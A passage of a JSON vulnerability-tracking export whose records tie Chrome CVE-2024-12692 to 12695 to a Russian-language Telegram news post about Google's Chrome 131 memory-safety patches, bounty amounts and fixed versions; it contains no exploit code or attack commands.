\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "a4ba0b34-ec27-4a8c-8d4f-007660f95eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "17652100-fc3c-41db-992d-1a2405d7c8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "42966dfd-3023-4887-936c-11899c6c153c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 